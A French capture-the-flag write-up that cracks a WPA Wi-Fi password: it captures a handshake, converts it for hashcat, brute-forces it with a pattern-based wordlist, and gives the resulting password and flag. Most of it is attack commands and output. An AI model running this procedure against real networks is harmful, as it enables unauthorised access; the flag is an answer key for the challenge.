

Format du flag : `AMSI {PASSWORD}`

Exemple valide : InvADers78!@

NUM	ESSID	CH	ENCR	POWER	WPS?	CLIENT
-----	-------	----	------	-------	------	--------

```

1          Livebox-1460      6  WPA-P   77db  lock
2          Bbox-BD2AF24F     6  WPA-P   77db  no
..          .....
23         INVADERS_78      6  WPA-P  -26db  no
[+] select target(s) (1-23) separated by commas, dashes or all: 23

[+] (1/1) Starting attacks against 34:29:12:14:3A:E6 (INVADERS_78)
[+] INVADERS_78 (-26db) PMKID CAPTURE: Failed to capture PMKID

[+] INVADERS_78 (90db) WPA Handshake capture: Captured handshake
[+] saving copy of handshake to hs/handshake_INVADERS78_34-29-12-14-3A-
E6_2025-06-10T23-43-42.cap saved
.....

$ sudo airmon-ng stop wlo1mon

```

Après avoir listé les réseaux, on cible le SSID **INVADERS_78**. Le handshake est capturé avec succès et sauvegardé sous le fichier **.cap** :

```
hs/handshake_INVADERS78_34-29-12-14-3A-E6_2025-06-10T23-43-42.cap
```



Étape 2 - Conversion du .cap en format hashcat

```
$ hcxpcapngtool hs/handshake_INVADERS78_34-29-12-14-3A-E6_2025-06-10T23-43-42.cap -o INVADERS.hash
```

Un fichier **.hash** est généré, prêt pour une attaque brute ou dictionnaire.

Étape 3 - Crackage avec Hashcat

Un générateur de wordlist personnalisé est utilisé, respectant le format :

- **"invaders"** avec variations de casse
- 2 chiffres (00–99)
- 2 caractères spéciaux (!@#\$%^&* (), etc.)

Nombre total de combinaisons : environ **14 millions**. On exécute :

```

$ hashcat -m 22000 INVADERS.hash passwords.txt

hashcat (v6.2.5) starting

* Device #1: WARNING! Kernel exec timeout is not disabled.
  This may cause "CL_OUT_OF_RESOURCES" or related errors.
  To disable the timeout, see:

```

```
https://hashcat.net/q/timeoutpatch
* Device #3: WARNING! Kernel exec timeout is not disabled.
    This may cause "CL_OUT_OF_RESOURCES" or related errors.
    To disable the timeout, see:
https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 12.4)
=====
* Device #1: NVIDIA GeForce GTX 1060 3GB, 2657/3003 MB, 9MCU

.....

5f0a50d5a8ab78612c7d80972fb80b23:342912143ae6:4827ealcl777:INVADERS_78:inVADerS09+!

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target.....: ./INVADERS.hash
Time.Started.....: Tue Jun 10 23:52:25 2025 (1 min, 18 secs)
Time.Estimated....: Tue Jun 10 23:53:43 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (./passwords.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 116.1 kH/s (5.16ms) @ Accel:4 Loops:256 Thr:512 Vec:1
Recovered.....: 1/1 (100.00%) Digests
Progress.....: 8994816/14745600 (61.00%)
Rejected.....: 0/8994816 (0.00%)
Restore.Point.....: 8976384/14745600 (60.88%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: INvADerS84;; -> inVADerS15|{
Hardware.Mon.#1...: Temp: 52c Fan: 46% Util: 54% Core:1949MHz Mem:3802MHz
Bus:16

Started: Tue Jun 10 23:52:24 2025
Stopped: Tue Jun 10 23:53:44 2025
```

Résultat

```
5f0a50d5a8ab78612c7d80972fb80b23:342912143ae6:...:INVADERS_78:inVADerS09+!
```

Le mot de passe WiFi est donc :

```
inVADerS09+!
```

Alternative : Crackage avec Aircrack-ng

```
$ aircrack-ng hs/handshake_INVADERS78_34-29-12-14-3A-E6_2025-06-10T23-43-42.cap -w passwords.txt
...
                                Aircrack-ng 1.6

[00:15:12] 9099600/14745600 keys tested (10145.05 k/s)

Time left: 9 minutes, 16 seconds                                61.71%

                                KEY FOUND! [ inVADerS09+! ]

Master Key      : 9A BA 8D D1 C8 3A 49 48 D6 30 E0 10 CC 8C 61 F2
                  4C 40 92 89 F8 17 36 B8 85 FB 9D F1 80 69 89 4B

Transient Key   : B3 24 3D DF 00 20 06 A0 1C 5C EC 68 E5 8C F4 5C
                  1D 86 D6 18 20 6A 71 6F 20 5A 45 A7 68 83 D0 A1
                  84 15 74 0F 88 F9 BB 1B 5C D4 18 22 D0 CB 71 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC      : 5F 0A 50 D5 A8 AB 78 61 2C 7D 80 97 2F B8 0B 23
```

Cela fonctionne aussi, mais prend ~25 minutes au lieu de 2 min avec hashcat + GPU.

Flag

```
AMSI{inVADerS09+!}
```